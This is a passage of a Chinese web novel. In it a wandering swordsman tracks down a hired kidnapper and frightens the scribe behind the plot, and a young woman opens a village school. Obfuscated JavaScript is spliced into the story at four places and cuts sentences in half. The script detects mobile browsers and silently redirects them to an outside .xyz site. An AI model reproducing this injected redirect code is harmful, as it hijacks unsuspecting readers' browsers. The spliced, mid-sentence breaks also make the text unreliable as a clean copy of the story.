既然如此,关阇彦就继续顺带把自己的计划说出了口:“短期内我怕是凑不齐欠你们家的钱,因为我这边急着要走。” 事情如此突然,因为在魏郁春和冯巧儿的印象里,这人之前害病,别人要赶他走他都要赖着不动,现在居然主动提了这个要求。 冯巧儿和魏郁春的反应一致,姐妹两个异口同声地问着:“你什么时候走?” 关阇彦未曾想过透明人当了这么久,还有被这么重视的一日,觉得有些惶恐。 “还没定,应该快了,”他道,然后还好心地补了个大致范围,“最多三日吧。” “好吧,”魏郁春走动了两步,离关阇彦更近了些,语气和缓,笑言,“你不必因那些钱感到负担。” 这次终于是真的让他放下心了,之前这一家子那副模样,总让他因欠钱不还感到心虚,许久都叫人心有余悸。 魏郁春心想人都要走了,不妨留个念想,于是主动问起来:“对了,你叫什么名字,方才我恍惚听到巧儿唤你……贤妻?” 关阇彦忍不住扶额苦笑:“关贤齐,你妹妹非要叫我贤妻,我也没有办法。” “见贤思齐?” 无比熟悉的词段让魏郁春脱口而出,这句话被她用南禺人的口吻描述出来,总觉得奇怪,魏郁春这才意识到对面之人亦是中原人,差点露馅的心虚感充斥了她的心境。 但这有什么所谓呢? 再露陷也无人能挖掘出她前世的秘密。 机缘巧合下,碰到了家乡之人,他们再觉得奇怪,也没有机会继续深入交涉。 好在关阇彦早就认清了此女的与众不同,熟悉后就不曾多疑什么。 “没什么事的话,我出去走走。” 关阇彦转身要走,却在移步之际又被魏郁春叫住。 “你把掌心摊开给我看看,”她盯着男人的手,眼中焦虑定格,好像是看到了不得了的东西。 关阇彦怔住,然后也听了她的话,把手掌伸出去。也是因此,他自己才注意到那只手虎口和掌心连接的一大片皮肤,和手指上落了些密集的红色点状疹子。 冯巧儿也好奇地踮脚去瞧,然后“唏嘘”一声挪走目光,怕是见了他人疼痛后幻痛到了自己身上。 “你不疼吗?”魏郁春看起来也有些“狰狞”,这是匪夷所思的神态。 “啊……还好吧,”关阇彦见惯了打打杀杀,这点疼对他来说连芝麻都算不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这一念头有很多弊端——初夏要来,大人们采茶农忙,就算他们肯乐意给魏郁春一个面子,这满山茶田也不肯。所以,即便她稳住了名头,也不知要等多久才能等到一小段村人不忙的时候。 此事所需考究之地甚多,所需准备时间也多,本该就此暂且放置。 但昨夜巧儿一事给她带来了不少灵感——巧儿这些孩子们,常因家中长辈事多繁忙而无暇被顾及,又因无学田滋润,性子多数野蛮,亦不知何为对错,识字念句尚且不能,更遑论知礼做人? 此时,如果她提出给村人的孩童授学,岂不很好?既能让这些在外被农忙所累、在家被照顾孩童一事所累的妇人卸下担子。也能教授这些孩子们德行对错。 恰巧这些孩子也刚好是最适合学习的年纪。 若此事能成,时间长了,辈分更迭,古溪村岂会再怕贪吏使坏? 在这件事上,她只照着写信的要求,一个孩童只取三文,村中人对她的信任度又高。只要诚信宣传几分,这件事并不算难。 魏郁春初具雏形的猜想越来越有棱角,她做事雷厉风行,想法有了,自然缺不了实践。 她先是对过来寻她写信的妇人言说了自己的想法,再拜托她们行走于乡间进行宣说。 “小学堂”以惊人的速度成型了起来。 8. 疑心渐起 一日既过,关阇彦大早上就看到几个村民手里牵着自家的孩子在冯家的院子聚集。魏郁春起的也是够早,不知道是没睡好还是病未痊愈的缘故,她精神气不算很好,脸色也是勉强维持血色。 她领在前头,嘴角挂着笑容,手里还牵着估计是被她强制拉起来的冯巧儿,这巧儿下眯着眼,完全一副没睡醒的样子。 她嘴里还在说些什么,把聚集在她面前的壮丁也好妇人也好,说得都眼冒金光,不知道的还以为这些人面前摆了一堆金山银山。 这副场景活似传教,魏郁春声音被人群隔绝了许多,关阇彦不大听清她在说什么,抱着略微眇一眼的念头,他稍微凑近了去听。 这不听不知道,一听吓一跳。 关阇彦觉得自己真的太低估了这女人,一日不注意,这女人竟开了家私塾! 不过在南禺这块文化稀壤,“私塾”这个说法实在显得格格不入,就像魏郁春这个人给他的感觉完全一致。 这女人……怎么叫人觉得一会儿像个南禺人,一会儿像个中原人? 罢了,事情已经堆得够多了,他可不愿平添烦扰。要怪就怪魏郁春实在太容易引人注意了。 关阇彦折了个弯子要走出去,他和昨日一样,为了找出可以衔接黑衣人等诡异事件的线索,他是有空就要把古溪村那些没走到过的地方巡视个遍。 但是半日岂够他折腾?所以,今日他打算续上昨日的脚程,最迟明日就能结束这桩事情。 当然他在这边驻留几日并不是只有这一个目的,他还是在等待,因为直觉一直都提醒着他,那被他拆穿面容却没来得及解决掉的黑衣人,十有八九会回来报复他,但说不准是什么时候。 他打算最多驻留冯家三日,看看那黑衣人会不会在此时寻来,因为他之前就发现这黑衣人的主要目标就是冯家姐妹,所以他在忧虑如果他走得太早,冯家姐妹会不会遭遇危险。 而这三日,他也会留给自己,作为揪住那大概率会回来复仇的黑衣人把柄的机会。至于三日之期里,他到底会不会如尝所愿,以及并不如愿后的打算等等,他还没有来得及细究。 他不太喜欢将目光放得太长远,向来直来直去,且行且过,倒跟他说话的风格一致。 关阇彦方与人群擦肩而过,一个约莫三四十来岁的中年男人突然喊住了他,这男人手里跟其他人一样,牵了只快十岁模样的孩童,定是他的儿子。这孩子看起来有些眼熟,却说不出来到底哪里眼熟了。 “嘿!这个小伙子可不可以过来一下!” 这对父子被人群挤在外围,说话声音又不大,难免被旁人盖住。 魏郁春就完全没有察觉到这里的情况,关阇彦没想多少,以为这男人是要自己帮忙跟魏郁春传话,就凑了上去。 “大叔有什么事情吗?”他耐心问道。 大叔指了指关阇彦被包扎过的手,因为余毒草汁迸溅肆意,也有一些细小的草汁滴到了掌心之外的皮肤,白纱缠绕之外的手腕上就残留着芝麻大小的被腐蚀过的小点,方过几日,这些小点未经处理,自然还未学会结痂。 “小伙子啊,你这手上的伤是怎么回事啊?” 大叔问着,然后一只眼极其快速地上眇了一眼关阇彦的神情,察觉对方的反应有些凝滞,他就继续补充起来:“啊……说来惭愧,我妻子前几日上山采茶,不知道被什么东西蹭了,伤口也如你这一般,久久未愈,恐怕是毒。所以今日冯家大姑娘的热闹就是我带着儿子来凑了。” 关阇彦反应迅即,突然被一个陌生人唤住就已经算不寻常了,问的话题还偏偏是这余毒草的事情。他那疑心很快就闻风而动了起来。 他记得魏郁春昨日刚跟他提过,这余毒草是南禺独有的植物,目测也比较常见,否则魏郁春也不会常在家中备着对付它的草药。 一个年方十七的姑娘家,都对这种常识了然于胸,这个目测快过半百的大叔怎的如此反常? 除非他根本就不是本地人。 有鬼。 大概有了个心眼儿后,关阇彦瞧这大叔讲话做事,都觉得处处都是他生怕露馅的反应。 他心知行踪诡异的黑衣人对冯家姐妹有歹念,并且会找机会来寻他寻仇——现下可不就是故意使法子引开他么?余毒草又帮他把牵引出来的注意力,全部注入到此人身上,明摆着眼前大叔无不符合他对黑衣人怀疑的种种条件。 这家伙定跟几日前那个黑衣人有关联!十有八九就是他! 现在只需要确认此人身份便能万事了却了!因为那晚黑衣人虽然认识了他的脸,他不曾一样做到,却瞥见了那黑衣人脖子后的胎记!并且黑衣人身法之厉害,足以证明他绝非古溪村当地人。 他现敢来冯院也是厉害,古溪村群聚而居,但凡是住在这里的人总能被叫出一二名字,就连他自己都不例外,这黑衣人何德何能才冒充到这一关? 关阇彦越发胸有成竹,于是故意陪着这可疑的大叔演戏,他装作不知道的模样回他:“害,真是不凑巧啊,我这伤也是不小心蹭哪儿的,不懂是怎么回事。” 他没等大叔回话,就故意唤离自己最近的妇人,道:“大娘!这大叔说家中娘子蹭着了同我一样的伤口,要来寻我问,可惜我外地探亲来的,实在不懂这些。大娘可否帮忙瞧瞧?” 那妇人也是个热情的性子,她甫一被唤就赶忙掉头来,先看到的是这大叔,眼里满是惊奇:“哟!这不王叔儿吗?娘子又病着了?” “害!我娘子体弱多病,出去一趟也不知道被什么东西剌着了!马上农忙,听说冯家大姑娘帮人看孩子,我就来凑凑热闹勒!” 大叔牵着小男孩,招呼不及地跟妇人寒暄。 眼见妇人和这王叔的气氛愈加融洽,关阇彦本来略显得意的神色瞬间沉入谷底。 怎么回事儿?此人竟是本地之人? 他看似平静的面孔下早已波涛汹涌,此时那王叔和妇人聊得越发起劲,脖子扭动间,他抓住机会去瞧他的后脖子,结果根本就没有那块眼熟的胎记。 难道真的是他多疑了? 这一道晴天霹雳差点将关阇彦劈得天旋地转,思绪已然寻不着东西南北。 妇人终于要忙起正事来,她捞过关阇彦的手,细细端摩几眼,转头对王叔嗔道:“这是余毒草!没什么大害,就是疼点,好得慢,容易留疤!王叔啊,你这脑瓜子越来越不行了!” “没什么大害啊!” 王叔闻言,黯淡的眸光腾的亮了几度,这表现简直就像是抓住了什么救命稻草般。 可关阇彦无法指摘他的表现,因为这王叔已经将嫌疑撇清,欣喜之情也只能体现在他对妻子身体上心这事上。 妇人转过头来,对关阇彦解释起来:“咱村儿这王叔虽然年纪没多大,脑瓜子却从小不太灵光,忘事快!小伙子不要在意!” 关阇彦的嘴角勉强扯出了个皮笑肉不笑的弧度,木然应道:“原来是这样啊。” 线索又断开了,并且走向越发扑朔迷离。他的心情比任何时都要差。 不久后,那王叔听完魏郁春一番激动人心的说辞后,先是带着孩子回去。关阇彦的眼神一直追着他,眼看背影远去,他还是不甘心地跟上了。 那王叔在村路上走着,时不时跟手里牵着的孩子唠上几句,看似平和,可关阇彦总觉得眼前父子两人不开口讲话时的氛围寂静得诡异。 父子二人走到了一处阴翳繁盛之处,脚步倏尔停下。随之而变的也是关阇彦的步伐。 王叔侧过半张脸来,长叹一息:“小伙子为何不肯就此放过我呢?” 这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447351|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的微妙,更是撩拨了关阇彦心里沉压着的不甘心。他哼笑一声,倒也不躲避了,漫步到村路中央,对着王叔的背影道:“果然是你吧,那晚的黑衣人?” 说完此话,关阇彦便快步跑到王叔的身后,以威胁之姿架住了他的脖子。 他这是以为此人会同那晚一样,要反抗一番。 谁知,那王叔松开了孩童的手,缓缓在关阇彦挟持他的臂弯里,将脑袋连同转了个方向,撩着粗布衣裳,跪下身去,竟是哭起来。 这可跟关阇彦预想的方向截然相反,这王叔既没有在冯家那会儿,又对冯家姐妹继续行歹徒之事,更没有在跟他相碰后对他杀人灭口。 他是懵了,并且一句话都说不出来。出其不意的杀伤力竟是这般大,他想着。 然后那王叔哭了会儿,屈膝起来一只腿,把裤腿撩上,一只溃烂的口子戳目地扎在这块皮肤上。关阇彦记得这的确是他用余毒草射中黑衣人的位置。 王叔哽咽道:“我娘子体弱多病,这段时间最是严重,可我家早已入不敷出,治不起病!家中孩儿顿顿忍受饥饿之苦!一日我出远门去集市给娘子抓药,谁想竟被一个自称是帮人代笔写信的老书生盯上了!” “他听说了古溪村冯家大姑娘的事情,因为冯姑娘如今作为,让他少了很多生意,赚少了太多钱!于是他就雇我回去把冯家大姑娘绑出来,要报复她!赏钱是好几两银子!” “我不敢在古溪村里就对冯迎春动手,也怕自己身份暴露,遭人讨伐!于是……”王叔目光移到了站在身边垂头丧气的儿子,苦涩道,“我就想出了个主意,让我儿子同那帮跟他玩得好的小流氓们散出谣言,目的就是把冯迎春的妹妹巧儿骗出来。” “那晚跟冯巧儿打架的那帮男孩,果然是故意将她引到土地庙的,那些男孩散开的速度也是极快,像是早就知晓了撤回路线一样……” “还有,怪不得我觉得这小男孩眼熟,原来他就是那晚和冯巧儿对峙的男孩之一,”关阇彦默声想着。 关阇彦不知是觉得好笑还是觉得可怜,他冷笑一声:“然后冯迎春就会为了寻妹妹,寻到你布置的陷阱里,对吗?” “是,是……” “为何把地点选在小破庙?” “那庙最靠近通往别村的道路,而且毫无人烟,冯迎春出了事也无人发现,我想这样会很省事!” “是吗,”关阇彦的疑心还是未减半分,“老书生别的人不选偏偏选了你?你一个古溪村土生土长还脑子不灵光的村民,哪来那晚的一身功夫?!” 他语气强硬得很,气魄压迫性极为强悍,把那王叔吓得差点匍匐在地。 “我年轻的时候拜师学艺过!学的皆是做戏杂耍,有些功夫底子,那老书生就是因为这个才选我干事!” “还有,那晚被你的余毒草中伤,我本以为无事,却不想发现这几日那块伤口溃烂得厉害,我怕是毒。见过你面的我知道你在冯家,斗胆来寻你问问伤口之事,拿娘子之事搪塞,却不想还是被你发现了……还追我至此。” “求你放过我吧!我家中妻儿饥寒交迫,我也是迫不得已才做了蠢事!到头来,我也没有害人!” “那你的……胎……” 那你脖子后面的胎记是怎么回事?关阇彦想到这王叔脖子后并没有他在黑衣人看到的胎记,本想继续追问下去。 可王叔哭得那叫一个涕泗横流,被欺负怕了,言辞俱厉的关阇彦不禁无耐,只好放弃追究。 难道是他看错了吗? 那晚暴雨纷纷,夜暮深沉的……他开始怀疑起自己来。至此这句疑问还是塞回了嗓子眼儿。 “罢了,你滚吧,下次若再被我发现一次你图谋不轨的影子,就不会这么简单了事了!” 他负手而去,厉声赶人。 9. 多行不义 关阇彦虽然嘴上说是放过了王叔,但不过还是掩耳盗铃。他根据王叔对雇人要对魏郁春下手的老书生的描述,在村里问了那集市的处所,刚和王叔别过就上路寻人。 他其实还是不敢确信那王叔所言是否虚实,如果他能将这些疑惑带过去寻那书生对峙,说没说谎一眼就可明鉴。 在魏郁春还未展露才华前,连同古溪村在内的好几个村落每逢要写信念信,全部仰仗的是那群人数稀缺无比的代笔书生。寻人范围之小,他将老书生的年龄和心肠手段一一作为筛选的条件,对应上去,没过多久就定了目标。 这老书生先前吃了太多乡间消息逼仄之人的红利,吃喝住的条件在当地都是数一数二,一般村民只有买卖东西的时候,才好不容易往这地段不错的集市上跑一跑。 老书生倒好,干脆连人带屋子的都安在集市里头了。 出门左拐就是各式各样的旅店饭馆,出门右拐就是摆着各种山间野味和药材的农摊。 这个季节,他本是有空多跑几趟村子,赚些应付往后日子的快钱回来。可那古溪村的傻女横空出世,把他生意抢了,他好日子过惯也不愿屈尊降贵,索性待在家里好吃懒做。 他觉得孙猴子蹦石头都没魏郁春如此嚣张,本是用些谣言恐吓她,她却不以为然。 老书生恨得牙痒痒,干脆雇了个古溪村人去绑魏郁春。 所以他看似在家中的偎慵堕懒,实际上早就自认运筹帷幄。 平静的假象下暗潮汹涌,他得意忘形无比。院子里嗑着瓜子仁,磕着磕着就咧开大嘴,露出猥琐卑鄙的笑,两只门牙之间的缝儿更是大到仿佛要吞人。 关阇彦锁定了他这个目标,没有打草惊蛇,直接翻了墙趴在屋顶上,扯出提前准备好的一张面布绑住半张脸,双手抓稳,“腾”一声就落了地,把老书生吓得发怵。 “什么人?!” 瓜子落地,老书生硬撑着那张象征自尊的面子,声线不稳地叫着。 在对方还没说完话的时候,关阇彦就已经神不知鬼不觉地藏到了他的背后,阴森森地抽出还是从冯家顺走的一把菜刀,架到了人脖子上,要挟的魄力十足凶狠,是个人都不敢动弹。 他不羁的声音响起来:“你近来可有做过什么亏心事?!” 他故意没直接问老书生雇人去古溪村寻仇的事,因为他并不愿说得太过直白,而被人看出自己和魏郁春的关系。他蒙面的目的也是和此有关。 他心里想的是,如果此次老书生的说辞和古溪村王叔对得上,他就再没办法继续怀疑。 他适当示威后使得老书生无法造次,届时他也会履行和魏郁春的约定,三日既过就走人——即便他当时想的是,怕黑衣人找上门报复他的时候连累冯家,才会跟魏郁春说下此约定。 谁承想黑衣人的事情解决得如此顺利,搞得这三日形同虚设,他已无离开的必要,继续养伤未尝不可。 可就是他死要面子活受罪,说一不二,说出去的约定岂有收回去的道理?那也太没面子了些! 再者,他老窝在这处山沟沟里也不是个办法,需要找到即刻回家的办法。 正因为要走,他才不愿意因为自己身份暴露又给冯家带去麻烦。前车之鉴已有,他已经为此付出了代价了。 关阇彦行事谨慎无比,分寸度把握得十分精准,不管是说的话,还是架在老书生脖子上的菜刀——它已逼近了人的皮肤,老书生觉得自己若是再多耽搁片刻,怕是马上就要被抹了脖子下黄泉去。 “我……我说说!你!你先放下!”寻常如恶叉般霸道的老书生潸然落泪,泪水糊在他焦黑色的皮肤上,活似泥水抹脸。 滚滚泥水孜孜不倦地卷入他那长着一口门缝儿牙的嘴巴里,嗓子眼儿又提着,到后面话已说不分清,咕咕噜噜的,不比被迫冲上岸的死鱼好多少。 关阇彦略微松了一些手劲儿,给足对方说话的余地,却依旧不肯放下那逼人喉腔的煞气。 “我最近贪了便宜!为了中间商赚差价,低价坑走了一对山里赶来集市卖参药的夫妇!” 啧,这可不是关阇彦要的答案。但这事做得还是丧尽天良,该挨打! “还有呢!”关阇彦勒令老书生继续就范。 “我……我喜欢吃鸡!隔三岔五就去偷鸡!但那些村民道我是识字念书的书生,不肯相信!我抓此机会,每次偷鸡都诬陷给集市上日日东流西窜的小乞丐们!” 关阇彦不知是该笑还是该怒,觉得此人之无赖超乎想象,已至荒谬之地。坏事做尽,算是叫他大开眼界。 “还有呢!” 老书生竟被吓得屁滚尿流,一股股散发着臭味的热流散逸进关阇彦的鼻腔,他一时气急,手上的菜刀没抓稳,刮着了项上的人皮,汩汩鲜血直流。老书生终于哭爹喊娘地把最严重的事情说出来,还真是不见棺材不落泪。 这件最严重的事情自然是有害人命之事,而当今女子之贞洁同人命一般重要。老书生要绑走魏郁春,说是要报仇泄愤,暗地里以泄私欲,毁人姑娘清誉。 老书生交代了:“我雇人去古溪村绑人!因为里头出了个爱跟我抢生意的女人!我就……想要报复她!” 关阇彦眉头倏尔皱紧,想想此话与村中王叔所言相符,看来黑衣人的事情是真的可以做了结了,然后他那紧得可以夹死只苍蝇的眉头倏尔松下。 那老书生应该是急了,没等关阇彦开口,他还滔滔不绝地说了更多自己做的浑事,时间之跨越,远至十年二十多年前,近至前年去年和今年,竟真是年年复年年,没一年肯闲得下来。 听完老书生的生平自述,关阇彦觉得自己的耳朵真是彻底脏了,他甩开菜刀,落在地上发出剧烈而清脆的声响,老书生吓得又是一惊,□□下的恶臭味儿更是逼人。 关阇彦直接将人转过来,单手勒住了他的脖子,冷言骂道:“真是个畜生。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447352|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是是是!我是畜生!我!我就是个比畜生还畜生的家伙!” 老书生也不管这话是不是骂自己的,只管拍马屁,挣扎着抬着双手,一个接一个地掌掴自己宛如焦炭的脸。 关阇彦又紧住手劲,将老书生逼得呛嗽不止,他是故意要摆出这副夺人性命不眨眼的绿林架势,以更好威胁老书生:“我最看不惯你这等坑害无辜百姓、损女子清誉性命的宵小之辈!若还有下次,我定会踏破门板杀你泄愤!” 老书生颤巍巍的腿瘫软下去,奈何脖子还被人抓在手里,站也不是,躺也不是,一死了之更不是。 他唯一能做的就是望苍天立海誓:“是是是!大侠饶命啊!我再也不敢了!” “是吗,”关阇彦松下他的脖子,饶有兴致地打量着大汗淋漓却又没有力气逃跑的他,指着门外道,“你家中正门出去正是集市,若你立刻站在街口大声忏悔往日的混账行径,对着皇天后土发下毒誓,我便放过你,离开此地。” “哼,当然你若敢暴露我的行踪,我也敢当街叫你头爆血洒。”关阇彦补充了一句最为血腥的威胁。 不叫这家伙身败名裂,他以后背地里偷偷摸摸做什么事情依旧不会被人察觉。 若叫百姓们看清他的面目,无数双眼睛替自己盯着,倒要看看他是有多大的本事做下坏事后还能藏得严实。 老书生被吓破了胆子,闻言关阇彦要放了他,哪管往日风光及尊严,狗腿儿似地奔向大门,半路不知磕到了几次,趴在地上,腿再软,爬都爬到了街口。 这叱诧风云多少年的老书生以这般狼狈之样示众,眨眼间就有无数好奇人士凑上来看起了热闹。 老书生瘫在地上,当真是仰着脑袋仰望长空,大声宣说自己这些年做过的无数浑事,可把大伙吓得不轻。但很快这种惊吓就变成了滔天的愤怒和仇恨。 老书生如了关阇彦的愿,自此身败名裂,最后还被无数集市百姓暴揍了一番,好不凄惨。 当真是应了那句古话——“多行不义必自毙!” 事了后,关阇彦终于放心离去,但他也反应过来,时间已经不早了。从村子出发的时候还是早晨,到了集市竟已到了日上三竿,解决老书生又花了一个多时辰。 他心想,今天的寻人是不难,难的却是寻路。他早上来集市的时候一路摸索,路途本身也远,跋涉千里在此时竟是写实至此,毫不夸张。 但现在立刻出发回去的话,所费时间应当不会像早上那般多——毕竟已经走了一遭,多少还是有些熟悉的。 但最快也是要到傍晚才能回古溪村吧。 关阇彦望着此时热烈照耀的高阳,炙热的光,夹杂着微冷的风滚滚冲着他裸露在外的皮肤晒拂。他摸了把肚子,精瘦的腹部空空如也。他又抱着一丝希望摸了把全身的衣物,果然一个铜板都没有。 他苦涩想道:“怕是回了村,自己就要变成一具饿极了的干尸了……” 10. 风动心动(1) 暮云凝碧,一层薄薄的雾气从茶山深处氤氲而出,染上落阳绯红色雾气,好似一件被仙人铺在天山交际处的上好轻纱。 魏郁春身上的寒气未全散,她烧好一壶热茶,沏好后坐在院子里的小桌旁,望着飘着热气的石碗愣愣发呆。她还在思考今日对村中百姓们宣说的“小学堂”之事是否有差误,她还将白日里自己对他们察言观色后留下的印象,结合在这些繁杂的思绪里,生怕大家不满。 因为按照计划,她明日就会正式在院中成立这桩家业,因事发仓促,她总有些不自信,不停地担心明日早晨那些村民们是否真的会带孩子如约而至。 升腾在魏郁春面前的茶雾淡了很多,若丝扇一般,半掩着她那张透着淡淡红晕的白皙面庞。她拢袖,趁着饮茶的功夫又小小走神片刻。 她在想关阇彦一声不坑地又去了哪里。 难道还是和前几日一样在村里村外闲逛讨趣儿么?但到底到了饭点还是会乖乖回来,跟冯家人一起吃饭闲聊。 魏郁春隐隐觉得不寻常,沉下焦浮的心绪,掐掐手指算着,惊觉今日刚好是关阇彦说下离别之言后的第三日。 于是,她脑中不禁浮现出关阇彦漫不经心的话——“短期内我怕是凑不齐欠你们家的钱,因为我这边急着要走。” …… “最多三日吧。” …… 思绪回巢,她抬眸望向天际将要藏身于如浪碧海的夕阳,高鸟穿梭在渐暗的山间。 她百无聊赖地叹了一口气,感情色彩极淡,却还是让人听得出几分不寻常的怅惘。 一个曾经嫌弃万分的人猝然离去,竟也会给她带来这种离别难分的古怪感觉。 魏郁春很快就概括出了这种不寻常的怅惘究为何物,恍然之后不再叹息,而是挂着一只云淡风轻般的笑容,眼睛亮亮的,有洞穿万物后的明朗——她是极少数连自我都可洞穿透彻的人。 巧儿出来闹腾了,她围着姐姐一个劲儿地问着明日读书的趣事是何样,求知若渴的模样让魏郁春失笑良久——她知道巧儿的幻想究有一日会破灭,因为她知道像自己这样的书呆子极不多见,凡是孩童,能有几个乐意受人管教后,还自愿求贤若渴的? 前世朔州府那般仅次于京城的繁华地段,书香门第、官宦世家、商贾人家等等的公子少爷们都不乐意,这偏僻南禺的古溪村里的野了惯了的小屁孩们就更不指望了! 魏郁春骗着巧儿学堂之事多么尽善尽美,让巧儿在一声声的夸大其谈中迷失了自我,而她自己顾着逗孩子,完全没有注意到隐隐约约出现在围栏外小路的身影。 直至关阇彦归家,听闻魏郁春满嘴的胡说八道,他胃中翻江倒海的饿意突然停滞,他以一副事不关己高高挂起的姿态停步在围栏前,嗤笑而言:“学堂之物无一不长着滔天巨兽的獠牙,可怖得很,不到对应散学的时间点,更是只能进不能出,巧儿你明儿别后悔就行。” 这话说得其实很在理,因为孩子上学堂,晨起晚走的时辰都必须严格管制,先生的话就是皇命,不可不听,各种考试与测题更是比滔天巨兽还吓人。要是巧儿也经历过这种痛苦,她定能深有体会。 关阇彦从小就厌学,这种东西他最懂了。 关阇彦这话说得抽象,大人一听就懂其中内涵,而小孩儿则会更侧重于其中可怖的形容,譬如什么“獠牙巨兽”可都是一顶一的唬小孩儿的话术。 巧儿并不懂关阇彦到底在内涵什么,就觉得他是在跟姐姐对抗,反口叫道:“你这毒嘴又来害人!我姐姐说了小学堂就在家里办,我自己的家啥时候想进就进,啥时候想出就出!你尽骗人吧!” 说吧,她就抱上了魏郁春的腰,完全一副“护犊子”的模样。 关阇彦哑然失笑:“一日不见,巧儿你倒是会见风使舵,只管着护你姐姐了。” “午饭我还留了一点给你,你自己去热热。” 魏郁春面色平静如水,语气亦是平和,整个人的气质还是闲适的。 仿佛没什么事情能让她动摇。唯有她自身的内力才可驱使自我的改变,宛如浮于水上静静飘动的落叶,随遇而安。 若不是亲眼见过冯巧儿发生意外后她的另一面,关阇彦怕是会一直如此定义魏郁春的脾性。 他听到魏郁春给自己留了饭,脸色微愣,总觉得不可置信了些,他勾唇一笑:“谢了。” 然后他就暂时消失在了暴露在外的院落里。 入夜后,巧儿已经熟睡。冯家夫妇也已修养完了旧疾,入屋睡下许久了。 一些人家的鸡又没关住,还咯咯哒哒地溜达在外面的田野和村道上,夜晚的风胡乱刮舞,呲呲拉拉的犹如耄耋老人在地上磨蹭的脚步。这两样动静混在一起,听起来简直比白天还热闹,倒给夜色抹上了小孩儿似不安分的玩笑色彩。 魏郁春本就心思不定,躺在床上听着窗外嘈杂的声音更是难以入眠,她焦躁地辗转反侧。 她怎么都没有想到会有人拍着她的窗,招呼她道:“睡不着就别睡了,起来有话和你说。” 来人居然是关阇彦。 他的屋子离她的最近,出门几步就能跨过一些空地来到她的门前。 她的正门边上有一只横着的大窗子,他就是拍的这扇窗。 虽说魏郁春对此人的态度已经好了许多,但他的那张抹了毒一般的嘴巴实在叫她忌惮。狗嘴里吐不出象牙,可能就是在这方面,魏郁春对他的印象才算不上多好。 一般无事,她并不会主动和他产生交际。 深夜这个时辰,曾经在她骨子里根深蒂固的家族闺阁思想,很难让她不去在意孤男寡女偷偷会面之事带来的各种影响。 莫名来的羞耻感让她心起厌烦,于是她装睡了一会儿,打算等人走了再睁眼。 但关阇彦已经无奈道:“睡不着就别装睡了。” 魏郁春刚刚平复的羞耻感又来了,不过这次是关于谎言被揭穿的。她讷讷把蒙着半个脑袋的被子掀开,小心翼翼地撩开竹帘,启开窗子,她抱着被子蹲坐在床上与关阇彦对视:“什么事?” “哼,我就猜你没睡。” 关阇彦提着食指规律性地敲着窗框,一副胸有成竹的模样——今夜月光清明,就算不就着任何其他的光源,短距离内,魏郁春也很能看得清楚对方的动作和神色变化。 魏郁春亦是不甘示弱,她那成熟已久的坚毅心,在看到关阇彦盛势逼人的时候,就从娴静的表面里破壳而出,她只是微微弯唇就有强硬之气冲压了过去。 “这么了解我?” “你明日开小学堂,需要打理的事情很多,你这种女强人肯在今晚放心睡下么?”关阇彦抱胸道。 “女强人?” 魏郁春没有启唇,却在心里默默将这个词语念叨了数个来回。 恍惚感荡然于胸,她觉得不可置信到荒谬。因为这是她第一次被这么称呼,亦让她意识到重活一世后的自己成长至如此——一个懵懂懦弱的女孩,终于被逼迫成长为了可顶天立地的女强人。 她的成长无一处不是她拿生命和疼痛的代价换来的,所以裹着玻璃渣子的蜜饯虽尝着甜,却越吃越痛……甜痛之意交杂,她一边觉得自己在做梦,一边觉得自己还有些喘不上气。她觉得,自己在这条路上还任重道远,女强人的名头如今实在有些担不起。 “行了,扯来扯去到现在,你应当不尴尬了。” 关阇彦打断了魏郁春的自我回味,又接道:“好不容易等到你家里其他人都睡沉了,说正事吧。” 魏郁春诧异地瞥了他一眸,想来他竟是同她一样顾及男女分界感,之所以要寒暄一番,竟也是看的出来她对这方面的敏感……这男子到底什么来头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447353|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中原人……能如此知晓礼数还敏感通人情的男子,从小家中规矩必是严苛,受到的教育也定不会差。但这么多天的相处下来,魏郁春早就发现了此人不拘小节,更是竭力藏着自己身份的事情。 所以,他是个家境不错却在隐瞒身份的中原人。 “你说。” 魏郁春迅速收回眼,一副无事发生之样顺应关阇彦的口吻。 “还记得那日雨夜巧儿失踪在村边际破庙一事?其实,那日你的注意力都在巧儿身上,晕得快,没有注意到躲在黑暗处的歹人。” 关阇彦压着声音,似在说什么见不得人的秘密。 “什么?!歹……人,怎么又是歹人?!” 魏郁春半蹲着腿明显没稳住,差点歪回床上。并且,她以为这里的“歹人”还是和以前一样妄图猥亵她的流氓们。 